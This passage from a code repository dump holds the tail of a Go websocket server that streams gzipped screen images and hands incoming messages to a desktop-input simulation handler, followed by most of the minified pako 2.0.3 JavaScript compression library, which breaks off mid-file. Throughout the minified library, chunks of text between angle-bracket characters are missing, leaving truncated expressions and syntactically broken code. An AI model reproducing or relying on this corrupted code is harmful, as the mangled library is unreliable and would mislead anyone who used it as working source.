sendImage(conn, imgBytes) 61 | if err != nil { 62 | //log.Printf("err = sendImage(conn, imgBytes) Error: %v", err) 63 | return 64 | } 65 | } 66 | } 67 | }() 68 | go func() { 69 | for { 70 | _, msg, err := conn.ReadMessage() 71 | if err != nil { 72 | //log.Printf("_, msg, err := conn.ReadMessage Error: %v", err) 73 | break 74 | } 75 | SimulateDesktopHDMessage(conn, msg) 76 | } 77 | }() 78 | defer func() { 79 | delete(connections, conn) 80 | conn.Close() 81 | }() 82 | wg.Wait() 83 | } 84 | 85 | // 关闭无用连接 86 | func CleanupConnections() { 87 | for conn := range connections { 88 | if err := conn.WriteMessage(websocket.PingMessage, nil); err != nil { 89 | conn.Close() 90 | delete(connections, conn) 91 | } 92 | } 93 | } 94 | 95 | func sendImage(conn *websocket.Conn, imgBytes []byte) error { 96 | var buf bytes.Buffer 97 | gzipWriter := gzip.NewWriter(&buf) 98 | if _, err := gzipWriter.Write(imgBytes); err != nil { 99 | //log.Printf("Write Error sending image: %v", err) 100 | return err 101 | } 102 | if err := gzipWriter.Close(); err != nil { 103 | //log.Printf("Close Error sending image: %v", err) 104 | return err 105 | } 106 | 107 | mu.Lock() 108 | err := conn.WriteMessage(websocket.BinaryMessage, buf.Bytes()) 109 | mu.Unlock() 110 | return err 111 | } 112 | -------------------------------------------------------------------------------- /static/pako.min.js: -------------------------------------------------------------------------------- 1 | /*! pako 2.0.3 https://github.com/nodeca/pako @license (MIT AND Zlib) */ 2 | !function(t,e){"object"==typeof exports&&"undefined"!=typeof module?e(exports):"function"==typeof define&&define.amd?define(["exports"],e):e((t="undefined"!=typeof globalThis?globalThis:t||self).pako={})}(this,(function(t){"use strict";function e(t){let e=t.length;for(;--e>=0;)t[e]=0}const a=256,i=286,n=30,s=15,r=new Uint8Array([0,0,0,0,0,0,0,0,1,1,1,1,2,2,2,2,3,3,3,3,4,4,4,4,5,5,5,5,0]),l=new Uint8Array([0,0,0,0,1,1,2,2,3,3,4,4,5,5,6,6,7,7,8,8,9,9,10,10,11,11,12,12,13,13]),o=new Uint8Array([0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,2,3,7]),h=new Uint8Array([16,17,18,0,8,7,9,6,10,5,11,4,12,3,13,2,14,1,15]),d=new Array(576);e(d);const _=new Array(60);e(_);const f=new Array(512);e(f);const c=new Array(256);e(c);const u=new Array(29);e(u);const w=new Array(n);function b(t,e,a,i,n){this.static_tree=t,this.extra_bits=e,this.extra_base=a,this.elems=i,this.max_length=n,this.has_stree=t&&t.length}let g,p,m;function k(t,e){this.dyn_tree=t,this.max_code=0,this.stat_desc=e}e(w);const v=t=>t<256?f[t]:f[256+(t>>>7)],y=(t,e)=>{t.pending_buf[t.pending++]=255&e,t.pending_buf[t.pending++]=e>>>8&255},x=(t,e,a)=>{t.bi_valid>16-a?(t.bi_buf|=e<>16-t.bi_valid,t.bi_valid+=a-16):(t.bi_buf|=e<{x(t,a[2*e],a[2*e+1])},A=(t,e)=>{let a=0;do{a|=1&t,t>>>=1,a<<=1}while(--e>0);return a>>>1},E=(t,e,a)=>{const i=new Array(16);let n,r,l=0;for(n=1;n<=s;n++)i[n]=l=l+a[n-1]<<1;for(r=0;r<=e;r++){let e=t[2*r+1];0!==e&&(t[2*r]=A(i[e]++,e))}},R=t=>{let e;for(e=0;e{t.bi_valid>8?y(t,t.bi_buf):t.bi_valid>0&&(t.pending_buf[t.pending++]=t.bi_buf),t.bi_buf=0,t.bi_valid=0},U=(t,e,a,i)=>{const n=2*e,s=2*a;return t[n]{const i=t.heap[a];let n=a<<1;for(;n<=t.heap_len&&(n{let n,s,o,h,d=0;if(0!==t.last_lit)do{n=t.pending_buf[t.d_buf+2*d]<<8|t.pending_buf[t.d_buf+2*d+1],s=t.pending_buf[t.l_buf+d],d++,0===n?z(t,s,e):(o=c[s],z(t,o+a+1,e),h=r[o],0!==h&&(s-=u[o],x(t,s,h)),n--,o=v(n),z(t,o,i),h=l[o],0!==h&&(n-=w[o],x(t,n,h)))}while(d{const a=e.dyn_tree,i=e.stat_desc.static_tree,n=e.stat_desc.has_stree,r=e.stat_desc.elems;let l,o,h,d=-1;for(t.heap_len=0,t.heap_max=573,l=0;l>1;l>=1;l--)S(t,a,l);h=r;do{l=t.heap[1],t.heap[1]=t.heap[t.heap_len--],S(t,a,1),o=t.heap[1],t.heap[--t.heap_max]=l,t.heap[--t.heap_max]=o,a[2*h]=a[2*l]+a[2*o],t.depth[h]=(t.depth[l]>=t.depth[o]?t.depth[l]:t.depth[o])+1,a[2*l+1]=a[2*o+1]=h,t.heap[1]=h++,S(t,a,1)}while(t.heap_len>=2);t.heap[--t.heap_max]=t.heap[1],((t,e)=>{const a=e.dyn_tree,i=e.max_code,n=e.stat_desc.static_tree,r=e.stat_desc.has_stree,l=e.stat_desc.extra_bits,o=e.stat_desc.extra_base,h=e.stat_desc.max_length;let d,_,f,c,u,w,b=0;for(c=0;c<=s;c++)t.bl_count[c]=0;for(a[2*t.heap[t.heap_max]+1]=0,d=t.heap_max+1;d<573;d++)_=t.heap[d],c=a[2*a[2*_+1]+1]+1,c>h&&(c=h,b++),a[2*_+1]=c,_>i||(t.bl_count[c]++,u=0,_>=o&&(u=l[_-o]),w=a[2*_],t.opt_len+=w*(c+u),r&&(t.static_len+=w*(n[2*_+1]+u)));if(0!==b){do{for(c=h-1;0===t.bl_count[c];)c--;t.bl_count[c]--,t.bl_count[c+1]+=2,t.bl_count[h]--,b-=2}while(b>0);for(c=h;0!==c;c--)for(_=t.bl_count[c];0!==_;)f=t.heap[--d],f>i||(a[2*f+1]!==c&&(t.opt_len+=(c-a[2*f+1])*a[2*f],a[2*f+1]=c),_--)}})(t,e),E(a,d,t.bl_count)},T=(t,e,a)=>{let i,n,s=-1,r=e[1],l=0,o=7,h=4;for(0===r&&(o=138,h=3),e[2*(a+1)+1]=65535,i=0;i<=a;i++)n=r,r=e[2*(i+1)+1],++l{let i,n,s=-1,r=e[1],l=0,o=7,h=4;for(0===r&&(o=138,h=3),i=0;i<=a;i++)if(n=r,r=e[2*(i+1)+1],!(++l{x(t,0+(i?1:0),3),((t,e,a,i)=>{Z(t),i&&(y(t,a),y(t,~a)),t.pending_buf.set(t.window.subarray(e,e+a),t.pending),t.pending+=a})(t,e,a,!0)};var N={_tr_init:t=>{F||((()=>{let t,e,a,h,k;const v=new Array(16);for(a=0,h=0;h<28;h++)for(u[h]=a,t=0;t<1<>=7;h{let s,r,l=0;t.level>0?(2===t.strm.data_type&&(t.strm.data_type=(t=>{let e,i=4093624447;for(e=0;e<=31;e++,i>>>=1)if(1&i&&0!==t.dyn_ltree[2*e])return 0;if(0!==t.dyn_ltree[18]||0!==t.dyn_ltree[20]||0!==t.dyn_ltree[26])return 1;for(e=32;e{let e;for(T(t,t.dyn_ltree,t.l_desc.max_code),T(t,t.dyn_dtree,t.d_desc.max_code),O(t,t.bl_desc),e=18;e>=3&&0===t.bl_tree[2*h[e]+1];e--);return t.opt_len+=3*(e+1)+5+5+4,e})(t),s=t.opt_len+3+7>>>3,r=t.static_len+3+7>>>3,r<=s&&(s=r)):s=r=i+5,i+4<=s&&-1!==e?L(t,e,i,n):4===t.strategy||r===s?(x(t,2+(n?1:0),3),D(t,d,_)):(x(t,4+(n?1:0),3),((t,e,a,i)=>{let n;for(x(t,e-257,5),x(t,a-1,5),x(t,i-4,4),n=0;n(t.pending_buf[t.d_buf+2*t.last_lit]=e>>>8&255,t.pending_buf[t.d_buf+2*t.last_lit+1]=255&e,t.pending_buf[t.l_buf+t.last_lit]=255&i,t.last_lit++,0===e?t.dyn_ltree[2*i]++:(t.matches++,e--,t.dyn_ltree[2*(c[i]+a+1)]++,t.dyn_dtree[2*v(e)]++),t.last_lit===t.lit_bufsize-1),_tr_align:t=>{x(t,2,3),z(t,256,d),(t=>{16===t.bi_valid?(y(t,t.bi_buf),t.bi_buf=0,t.bi_valid=0):t.bi_valid>=8&&(t.pending_buf[t.pending++]=255&t.bi_buf,t.bi_buf>>=8,t.bi_valid-=8)})(t)}};var B=(t,e,a,i)=>{let n=65535&t|0,s=t>>>16&65535|0,r=0;for(;0!==a;){r=a>2e3?2e3:a,a-=r;do{n=n+e[i++]|0,s=s+n|0}while(--r);n%=65521,s%=65521}return n|s<<16|0};const C=new Uint32Array((()=>{let t,e=[];for(var a=0;a<256;a++){t=a;for(var i=0;i<8;i++)t=1&t?3988292384^t>>>1:t>>>1;e[a]=t}return e})());var M=(t,e,a,i)=>{const n=C,s=i+a;t^=-1;for(let a=i;a>>8^n[255&(t^e[a])];return-1^t},H={2:"need dictionary",1:"stream end",0:"","-1":"file error","-2":"stream error","-3":"data error","-4":"insufficient memory","-5":"buffer error","-6":"incompatible version"},j={Z_NO_FLUSH:0,Z_PARTIAL_FLUSH:1,Z_SYNC_FLUSH:2,Z_FULL_FLUSH:3,Z_FINISH:4,Z_BLOCK:5,Z_TREES:6,Z_OK:0,Z_STREAM_END:1,Z_NEED_DICT:2,Z_ERRNO:-1,Z_STREAM_ERROR:-2,Z_DATA_ERROR:-3,Z_MEM_ERROR:-4,Z_BUF_ERROR:-5,Z_NO_COMPRESSION:0,Z_BEST_SPEED:1,Z_BEST_COMPRESSION:9,Z_DEFAULT_COMPRESSION:-1,Z_FILTERED:1,Z_HUFFMAN_ONLY:2,Z_RLE:3,Z_FIXED:4,Z_DEFAULT_STRATEGY:0,Z_BINARY:0,Z_TEXT:1,Z_UNKNOWN:2,Z_DEFLATED:8};const{_tr_init:K,_tr_stored_block:P,_tr_flush_block:Y,_tr_tally:G,_tr_align:X}=N,{Z_NO_FLUSH:W,Z_PARTIAL_FLUSH:q,Z_FULL_FLUSH:J,Z_FINISH:Q,Z_BLOCK:V,Z_OK:$,Z_STREAM_END:tt,Z_STREAM_ERROR:et,Z_DATA_ERROR:at,Z_BUF_ERROR:it,Z_DEFAULT_COMPRESSION:nt,Z_FILTERED:st,Z_HUFFMAN_ONLY:rt,Z_RLE:lt,Z_FIXED:ot,Z_DEFAULT_STRATEGY:ht,Z_UNKNOWN:dt,Z_DEFLATED:_t}=j,ft=258,ct=262,ut=103,wt=113,bt=666,gt=(t,e)=>(t.msg=H[e],e),pt=t=>(t<<1)-(t>4?9:0),mt=t=>{let e=t.length;for(;--e>=0;)t[e]=0};let kt=(t,e,a)=>(e<{const e=t.state;let a=e.pending;a>t.avail_out&&(a=t.avail_out),0!==a&&(t.output.set(e.pending_buf.subarray(e.pending_out,e.pending_out+a),t.next_out),t.next_out+=a,e.pending_out+=a,t.total_out+=a,t.avail_out-=a,e.pending-=a,0===e.pending&&(e.pending_out=0))},yt=(t,e)=>{Y(t,t.block_start>=0?t.block_start:-1,t.strstart-t.block_start,e),t.block_start=t.strstart,vt(t.strm)},xt=(t,e)=>{t.pending_buf[t.pending++]=e},zt=(t,e)=>{t.pending_buf[t.pending++]=e>>>8&255,t.pending_buf[t.pending++]=255&e},At=(t,e,a,i)=>{let n=t.avail_in;return n>i&&(n=i),0===n?0:(t.avail_in-=n,e.set(t.input.subarray(t.next_in,t.next_in+n),a),1===t.state.wrap?t.adler=B(t.adler,e,n,a):2===t.state.wrap&&(t.adler=M(t.adler,e,n,a)),t.next_in+=n,t.total_in+=n,n)},Et=(t,e)=>{let a,i,n=t.max_chain_length,s=t.strstart,r=t.prev_length,l=t.nice_match;const o=t.strstart>t.w_size-ct?t.strstart-(t.w_size-ct):0,h=t.window,d=t.w_mask,_=t.prev,f=t.strstart+ft;let c=h[s+r-1],u=h[s+r];t.prev_length>=t.good_match&&(n>>=2),l>t.lookahead&&(l=t.lookahead);do{if(a=e,h[a+r]===u&&h[a+r-1]===c&&h[a]===h[s]&&h[++a]===h[s+1]){s+=2,a++;do{}while(h[++s]===h[++a]&&h[++s]===h[++a]&&h[++s]===h[++a]&&h[++s]===h[++a]&&h[++s]===h[++a]&&h[++s]===h[++a]&&h[++s]===h[++a]&&h[++s]===h[++a]&&sr){if(t.match_start=e,r=i,i>=l)break;c=h[s+r-1],u=h[s+r]}}}while((e=_[e&d])>o&&0!=--n);return r<=t.lookahead?r:t.lookahead},Rt=t=>{const e=t.w_size;let a,i,n,s,r;do{if(s=t.window_size-t.lookahead-t.strstart,t.strstart>=e+(e-ct)){t.window.set(t.window.subarray(e,e+e),0),t.match_start-=e,t.strstart-=e,t.block_start-=e,i=t.hash_size,a=i;do{n=t.head[--a],t.head[a]=n>=e?n-e:0}while(--i);i=e,a=i;do{n=t.prev[--a],t.prev[a]=n>=e?n-e:0}while(--i);s+=e}if(0===t.strm.avail_in)break;if(i=At(t.strm,t.window,t.strstart+t.lookahead,s),t.lookahead+=i,t.lookahead+t.insert>=3)for(r=t.strstart-t.insert,t.ins_h=t.window[r],t.ins_h=kt(t,t.ins_h,t.window[r+1]);t.insert&&(t.ins_h=kt(t,t.ins_h,t.window[r+3-1]),t.prev[r&t.w_mask]=t.head[t.ins_h],t.head[t.ins_h]=r,r++,t.insert--,!(t.lookahead+t.insert<3)););}while(t.lookahead{let a,i;for(;;){if(t.lookahead=3&&(t.ins_h=kt(t,t.ins_h,t.window[t.strstart+3-1]),a=t.prev[t.strstart&t.w_mask]=t.head[t.ins_h],t.head[t.ins_h]=t.strstart),0!==a&&t.strstart-a<=t.w_size-ct&&(t.match_length=Et(t,a)),t.match_length>=3)if(i=G(t,t.strstart-t.match_start,t.match_length-3),t.lookahead-=t.match_length,t.match_length<=t.max_lazy_match&&t.lookahead>=3){t.match_length--;do{t.strstart++,t.ins_h=kt(t,t.ins_h,t.window[t.strstart+3-1]),a=t.prev[t.strstart&t.w_mask]=t.head[t.ins_h],t.head[t.ins_h]=t.strstart}while(0!=--t.match_length);t.strstart++}else t.strstart+=t.match_length,t.match_length=0,t.ins_h=t.window[t.strstart],t.ins_h=kt(t,t.ins_h,t.window[t.strstart+1]);else i=G(t,0,t.window[t.strstart]),t.lookahead--,t.strstart++;if(i&&(yt(t,!1),0===t.strm.avail_out))return 1}return t.insert=t.strstart<2?t.strstart:2,e===Q?(yt(t,!0),0===t.strm.avail_out?3:4):t.last_lit&&(yt(t,!1),0===t.strm.avail_out)?1:2},Ut=(t,e)=>{let a,i,n;for(;;){if(t.lookahead=3&&(t.ins_h=kt(t,t.ins_h,t.window[t.strstart+3-1]),a=t.prev[t.strstart&t.w_mask]=t.head[t.ins_h],t.head[t.ins_h]=t.strstart),t.prev_length=t.match_length,t.prev_match=t.match_start,t.match_length=2,0!==a&&t.prev_length4096)&&(t.match_length=2)),t.prev_length>=3&&t.match_length<=t.prev_length){n=t.strstart+t.lookahead-3,i=G(t,t.strstart-1-t.prev_match,t.prev_length-3),t.lookahead-=t.prev_length-1,t.prev_length-=2;do{++t.strstart<=n&&(t.ins_h=kt(t,t.ins_h,t.window[t.strstart+3-1]),a=t.prev[t.strstart&t.w_mask]=t.head[t.ins_h],t.head[t.ins_h]=t.strstart)}while(0!=--t.prev_length);if(t.match_available=0,t.match_length=2,t.strstart++,i&&(yt(t,!1),0===t.strm.avail_out))return 1}else if(t.match_available){if(i=G(t,0,t.window[t.strstart-1]),i&&yt(t,!1),t.strstart++,t.lookahead--,0===t.strm.avail_out)return 1}else t.match_available=1,t.strstart++,t.lookahead--}return t.match_available&&(i=G(t,0,t.window[t.strstart-1]),t.match_available=0),t.insert=t.strstart<2?t.strstart:2,e===Q?(yt(t,!0),0===t.strm.avail_out?3:4):t.last_lit&&(yt(t,!1),0===t.strm.avail_out)?1:2};function St(t,e,a,i,n){this.good_length=t,this.max_lazy=e,this.nice_length=a,this.max_chain=i,this.func=n}const Dt=[new St(0,0,0,0,((t,e)=>{let a=65535;for(a>t.pending_buf_size-5&&(a=t.pending_buf_size-5);;){if(t.lookahead<=1){if(Rt(t),0===t.lookahead&&e===W)return 1;if(0===t.lookahead)break}t.strstart+=t.lookahead,t.lookahead=0;const i=t.block_start+a;if((0===t.strstart||t.strstart>=i)&&(t.lookahead=t.strstart-i,t.strstart=i,yt(t,!1),0===t.strm.avail_out))return 1;if(t.strstart-t.block_start>=t.w_size-ct&&(yt(t,!1),0===t.strm.avail_out))return 1}return t.insert=0,e===Q?(yt(t,!0),0===t.strm.avail_out?3:4):(t.strstart>t.block_start&&(yt(t,!1),t.strm.avail_out),1)})),new St(4,4,8,4,Zt),new St(4,5,16,8,Zt),new St(4,6,32,32,Zt),new St(4,4,16,16,Ut),new St(8,16,32,32,Ut),new St(8,16,128,128,Ut),new St(8,32,128,256,Ut),new St(32,128,258,1024,Ut),new St(32,258,258,4096,Ut)];function Ot(){this.strm=null,this.status=0,this.pending_buf=null,this.pending_buf_size=0,this.pending_out=0,this.pending=0,this.wrap=0,this.gzhead=null,this.gzindex=0,this.method=_t,this.last_flush=-1,this.w_size=0,this.w_bits=0,this.w_mask=0,this.window=null,this.window_size=0,this.prev=null,this.head=null,this.ins_h=0,this.hash_size=0,this.hash_bits=0,this.hash_mask=0,this.hash_shift=0,this.block_start=0,this.match_length=0,this.prev_match=0,this.match_available=0,this.strstart=0,this.match_start=0,this.lookahead=0,this.prev_length=0,this.max_chain_length=0,this.max_lazy_match=0,this.level=0,this.strategy=0,this.good_match=0,this.nice_match=0,this.dyn_ltree=new Uint16Array(1146),this.dyn_dtree=new Uint16Array(122),this.bl_tree=new Uint16Array(78),mt(this.dyn_ltree),mt(this.dyn_dtree),mt(this.bl_tree),this.l_desc=null,this.d_desc=null,this.bl_desc=null,this.bl_count=new Uint16Array(16),this.heap=new Uint16Array(573),mt(this.heap),this.heap_len=0,this.heap_max=0,this.depth=new Uint16Array(573),mt(this.depth),this.l_buf=0,this.lit_bufsize=0,this.last_lit=0,this.d_buf=0,this.opt_len=0,this.static_len=0,this.matches=0,this.insert=0,this.bi_buf=0,this.bi_valid=0}const Tt=t=>{if(!t||!t.state)return gt(t,et);t.total_in=t.total_out=0,t.data_type=dt;const e=t.state;return e.pending=0,e.pending_out=0,e.wrap<0&&(e.wrap=-e.wrap),e.status=e.wrap?42:wt,t.adler=2===e.wrap?0:1,e.last_flush=W,K(e),$},It=t=>{const e=Tt(t);var a;return e===$&&((a=t.state).window_size=2*a.w_size,mt(a.head),a.max_lazy_match=Dt[a.level].max_lazy,a.good_match=Dt[a.level].good_length,a.nice_match=Dt[a.level].nice_length,a.max_chain_length=Dt[a.level].max_chain,a.strstart=0,a.block_start=0,a.lookahead=0,a.insert=0,a.match_length=a.prev_length=2,a.match_available=0,a.ins_h=0),e},Ft=(t,e,a,i,n,s)=>{if(!t)return et;let r=1;if(e===nt&&(e=6),i<0?(r=0,i=-i):i>15&&(r=2,i-=16),n<1||n>9||a!==_t||i<8||i>15||e<0||e>9||s<0||s>ot)return gt(t,et);8===i&&(i=9);const l=new Ot;return t.state=l,l.strm=t,l.wrap=r,l.gzhead=null,l.w_bits=i,l.w_size=1<Ft(t,e,_t,15,8,ht),deflateInit2:Ft,deflateReset:It,deflateResetKeep:Tt,deflateSetHeader:(t,e)=>t&&t.state?2!==t.state.wrap?et:(t.state.gzhead=e,$):et,deflate:(t,e)=>{let a,i;if(!t||!t.state||e>V||e<0)return t?gt(t,et):et;const n=t.state;if(!t.output||!t.input&&0!==t.avail_in||n.status===bt&&e!==Q)return gt(t,0===t.avail_out?it:et);n.strm=t;const s=n.last_flush;if(n.last_flush=e,42===n.status)if(2===n.wrap)t.adler=0,xt(n,31),xt(n,139),xt(n,8),n.gzhead?(xt(n,(n.gzhead.text?1:0)+(n.gzhead.hcrc?2:0)+(n.gzhead.extra?4:0)+(n.gzhead.name?8:0)+(n.gzhead.comment?16:0)),xt(n,255&n.gzhead.time),xt(n,n.gzhead.time>>8&255),xt(n,n.gzhead.time>>16&255),xt(n,n.gzhead.time>>24&255),xt(n,9===n.level?2:n.strategy>=rt||n.level<2?4:0),xt(n,255&n.gzhead.os),n.gzhead.extra&&n.gzhead.extra.length&&(xt(n,255&n.gzhead.extra.length),xt(n,n.gzhead.extra.length>>8&255)),n.gzhead.hcrc&&(t.adler=M(t.adler,n.pending_buf,n.pending,0)),n.gzindex=0,n.status=69):(xt(n,0),xt(n,0),xt(n,0),xt(n,0),xt(n,0),xt(n,9===n.level?2:n.strategy>=rt||n.level<2?4:0),xt(n,3),n.status=wt);else{let e=_t+(n.w_bits-8<<4)<<8,a=-1;a=n.strategy>=rt||n.level<2?0:n.level<6?1:6===n.level?2:3,e|=a<<6,0!==n.strstart&&(e|=32),e+=31-e%31,n.status=wt,zt(n,e),0!==n.strstart&&(zt(n,t.adler>>>16),zt(n,65535&t.adler)),t.adler=1}if(69===n.status)if(n.gzhead.extra){for(a=n.pending;n.gzindex<(65535&n.gzhead.extra.length)&&(n.pending!==n.pending_buf_size||(n.gzhead.hcrc&&n.pending>a&&(t.adler=M(t.adler,n.pending_buf,n.pending-a,a)),vt(t),a=n.pending,n.pending!==n.pending_buf_size));)xt(n,255&n.gzhead.extra[n.gzindex]),n.gzindex++;n.gzhead.hcrc&&n.pending>a&&(t.adler=M(t.adler,n.pending_buf,n.pending-a,a)),n.gzindex===n.gzhead.extra.length&&(n.gzindex=0,n.status=73)}else n.status=73;if(73===n.status)if(n.gzhead.name){a=n.pending;do{if(n.pending===n.pending_buf_size&&(n.gzhead.hcrc&&n.pending>a&&(t.adler=M(t.adler,n.pending_buf,n.pending-a,a)),vt(t),a=n.pending,n.pending===n.pending_buf_size)){i=1;break}i=n.gzindexa&&(t.adler=M(t.adler,n.pending_buf,n.pending-a,a)),0===i&&(n.gzindex=0,n.status=91)}else n.status=91;if(91===n.status)if(n.gzhead.comment){a=n.pending;do{if(n.pending===n.pending_buf_size&&(n.gzhead.hcrc&&n.pending>a&&(t.adler=M(t.adler,n.pending_buf,n.pending-a,a)),vt(t),a=n.pending,n.pending===n.pending_buf_size)){i=1;break}i=n.gzindexa&&(t.adler=M(t.adler,n.pending_buf,n.pending-a,a)),0===i&&(n.status=ut)}else n.status=ut;if(n.status===ut&&(n.gzhead.hcrc?(n.pending+2>n.pending_buf_size&&vt(t),n.pending+2<=n.pending_buf_size&&(xt(n,255&t.adler),xt(n,t.adler>>8&255),t.adler=0,n.status=wt)):n.status=wt),0!==n.pending){if(vt(t),0===t.avail_out)return n.last_flush=-1,$}else if(0===t.avail_in&&pt(e)<=pt(s)&&e!==Q)return gt(t,it);if(n.status===bt&&0!==t.avail_in)return gt(t,it);if(0!==t.avail_in||0!==n.lookahead||e!==W&&n.status!==bt){let a=n.strategy===rt?((t,e)=>{let a;for(;;){if(0===t.lookahead&&(Rt(t),0===t.lookahead)){if(e===W)return 1;break}if(t.match_length=0,a=G(t,0,t.window[t.strstart]),t.lookahead--,t.strstart++,a&&(yt(t,!1),0===t.strm.avail_out))return 1}return t.insert=0,e===Q?(yt(t,!0),0===t.strm.avail_out?3:4):t.last_lit&&(yt(t,!1),0===t.strm.avail_out)?1:2})(n,e):n.strategy===lt?((t,e)=>{let a,i,n,s;const r=t.window;for(;;){if(t.lookahead<=ft){if(Rt(t),t.lookahead<=ft&&e===W)return 1;if(0===t.lookahead)break}if(t.match_length=0,t.lookahead>=3&&t.strstart>0&&(n=t.strstart-1,i=r[n],i===r[++n]&&i===r[++n]&&i===r[++n])){s=t.strstart+ft;do{}while(i===r[++n]&&i===r[++n]&&i===r[++n]&&i===r[++n]&&i===r[++n]&&i===r[++n]&&i===r[++n]&&i===r[++n]&&nt.lookahead&&(t.match_length=t.lookahead)}if(t.match_length>=3?(a=G(t,1,t.match_length-3),t.lookahead-=t.match_length,t.strstart+=t.match_length,t.match_length=0):(a=G(t,0,t.window[t.strstart]),t.lookahead--,t.strstart++),a&&(yt(t,!1),0===t.strm.avail_out))return 1}return t.insert=0,e===Q?(yt(t,!0),0===t.strm.avail_out?3:4):t.last_lit&&(yt(t,!1),0===t.strm.avail_out)?1:2})(n,e):Dt[n.level].func(n,e);if(3!==a&&4!==a||(n.status=bt),1===a||3===a)return 0===t.avail_out&&(n.last_flush=-1),$;if(2===a&&(e===q?X(n):e!==V&&(P(n,0,0,!1),e===J&&(mt(n.head),0===n.lookahead&&(n.strstart=0,n.block_start=0,n.insert=0))),vt(t),0===t.avail_out))return n.last_flush=-1,$}return e!==Q?$:n.wrap<=0?tt:(2===n.wrap?(xt(n,255&t.adler),xt(n,t.adler>>8&255),xt(n,t.adler>>16&255),xt(n,t.adler>>24&255),xt(n,255&t.total_in),xt(n,t.total_in>>8&255),xt(n,t.total_in>>16&255),xt(n,t.total_in>>24&255)):(zt(n,t.adler>>>16),zt(n,65535&t.adler)),vt(t),n.wrap>0&&(n.wrap=-n.wrap),0!==n.pending?$:tt)},deflateEnd:t=>{if(!t||!t.state)return et;const e=t.state.status;return 42!==e&&69!==e&&73!==e&&91!==e&&e!==ut&&e!==wt&&e!==bt?gt(t,et):(t.state=null,e===wt?gt(t,at):$)},deflateSetDictionary:(t,e)=>{let a=e.length;if(!t||!t.state)return et;const i=t.state,n=i.wrap;if(2===n||1===n&&42!==i.status||i.lookahead)return et;if(1===n&&(t.adler=B(t.adler,e,a,0)),i.wrap=0,a>=i.w_size){0===n&&(mt(i.head),i.strstart=0,i.block_start=0,i.insert=0);let t=new Uint8Array(i.w_size);t.set(e.subarray(a-i.w_size,a),0),e=t,a=i.w_size}const s=t.avail_in,r=t.next_in,l=t.input;for(t.avail_in=a,t.next_in=0,t.input=e,Rt(i);i.lookahead>=3;){let t=i.strstart,e=i.lookahead-2;do{i.ins_h=kt(i,i.ins_h,i.window[t+3-1]),i.prev[t&i.w_mask]=i.head[i.ins_h],i.head[i.ins_h]=t,t++}while(--e);i.strstart=t,i.lookahead=2,Rt(i)}return i.strstart+=i.lookahead,i.block_start=i.strstart,i.insert=i.lookahead,i.lookahead=0,i.match_length=i.prev_length=2,i.match_available=0,t.next_in=r,t.input=l,t.avail_in=s,i.wrap=n,$},deflateInfo:"pako deflate (from Nodeca project)"};const Nt=(t,e)=>Object.prototype.hasOwnProperty.call(t,e);var Bt=function(t){const e=Array.prototype.slice.call(arguments,1);for(;e.length;){const a=e.shift();if(a){if("object"!=typeof a)throw new TypeError(a+"must be non-object");for(const e in a)Nt(a,e)&&(t[e]=a[e])}}return t},Ct=t=>{let e=0;for(let a=0,i=t.length;a=252?6:t>=248?5:t>=240?4:t>=224?3:t>=192?2:1;Ht[254]=Ht[254]=1;var jt=t=>{let e,a,i,n,s,r=t.length,l=0;for(n=0;n>>6,e[s++]=128|63&a):a<65536?(e[s++]=224|a>>>12,e[s++]=128|a>>>6&63,e[s++]=128|63&a):(e[s++]=240|a>>>18,e[s++]=128|a>>>12&63,e[s++]=128|a>>>6&63,e[s++]=128|63&a);return e},Kt=(t,e)=>{let a,i;const n=e||t.length,s=new Array(2*n);for(i=0,a=0;a4)s[i++]=65533,a+=r-1;else{for(e&=2===r?31:3===r?15:7;r>1&&a1?s[i++]=65533:e<65536?s[i++]=e:(e-=65536,s[i++]=55296|e>>10&1023,s[i++]=56320|1023&e)}}return((t,e)=>{if(e<65534&&t.subarray&&Mt)return String.fromCharCode.apply(null,t.length===e?t:t.subarray(0,e));let a="";for(let i=0;i{(e=e||t.length)>t.length&&(e=t.length);let a=e-1;for(;a>=0&&128==(192&t[a]);)a--;return a<0||0===a?e:a+Ht[t[a]]>e?a:e};var Yt=function(){this.input=null,this.next_in=0,this.avail_in=0,this.total_in=0,this.output=null,this.next_out=0,this.avail_out=0,this.total_out=0,this.msg="",this.state=null,this.data_type=2,this.adler=0};const Gt=Object.prototype.toString,{Z_NO_FLUSH:Xt,Z_SYNC_FLUSH:Wt,Z_FULL_FLUSH:qt,Z_FINISH:Jt,Z_OK:Qt,Z_STREAM_END:Vt,Z_DEFAULT_COMPRESSION:$t,Z_DEFAULT_STRATEGY:te,Z_DEFLATED:ee}=j;function ae(t){this.options=Bt({level:$t,method:ee,chunkSize:16384,windowBits:15,memLevel:8,strategy:te},t||{});let e=this.options;e.raw&&e.windowBits>0?e.windowBits=-e.windowBits:e.gzip&&e.windowBits>0&&e.windowBits<16&&(e.windowBits+=16),this.err=0,this.msg="",this.ended=!1,this.chunks=[],this.strm=new Yt,this.strm.avail_out=0;let a=Lt.deflateInit2(this.strm,e.level,e.method,e.windowBits,e.memLevel,e.strategy);if(a!==Qt)throw new Error(H[a]);if(e.header&&Lt.deflateSetHeader(this.strm,e.header),e.dictionary){let t;if(t="string"==typeof e.dictionary?jt(e.dictionary):"[object ArrayBuffer]"===Gt.call(e.dictionary)?new Uint8Array(e.dictionary):e.dictionary,a=Lt.deflateSetDictionary(this.strm,t),a!==Qt)throw new Error(H[a]);this._dict_set=!0}}function ie(t,e){const a=new ae(e);if(a.push(t,!0),a.err)throw a.msg||H[a.err];return a.result}ae.prototype.push=function(t,e){const a=this.strm,i=this.options.chunkSize;let n,s;if(this.ended)return!1;for(s=e===~~e?e:!0===e?Jt:Xt,"string"==typeof t?a.input=jt(t):"[object ArrayBuffer]"===Gt.call(t)?a.input=new Uint8Array(t):a.input=t,a.next_in=0,a.avail_in=a.input.length;;)if(0===a.avail_out&&(a.output=new Uint8Array(i),a.next_out=0,a.avail_out=i),(s===Wt||s===qt)&&a.avail_out<=6)this.onData(a.output.subarray(0,a.next_out)),a.avail_out=0;else{if(n=Lt.deflate(a,s),n===Vt)return a.next_out>0&&this.onData(a.output.subarray(0,a.next_out)),n=Lt.deflateEnd(this.strm),this.onEnd(n),this.ended=!0,n===Qt;if(0!==a.avail_out){if(s>0&&a.next_out>0)this.onData(a.output.subarray(0,a.next_out)),a.avail_out=0;else if(0===a.avail_in)break}else this.onData(a.output)}return!0},ae.prototype.onData=function(t){this.chunks.push(t)},ae.prototype.onEnd=function(t){t===Qt&&(this.result=Ct(this.chunks)),this.chunks=[],this.err=t,this.msg=this.strm.msg};var 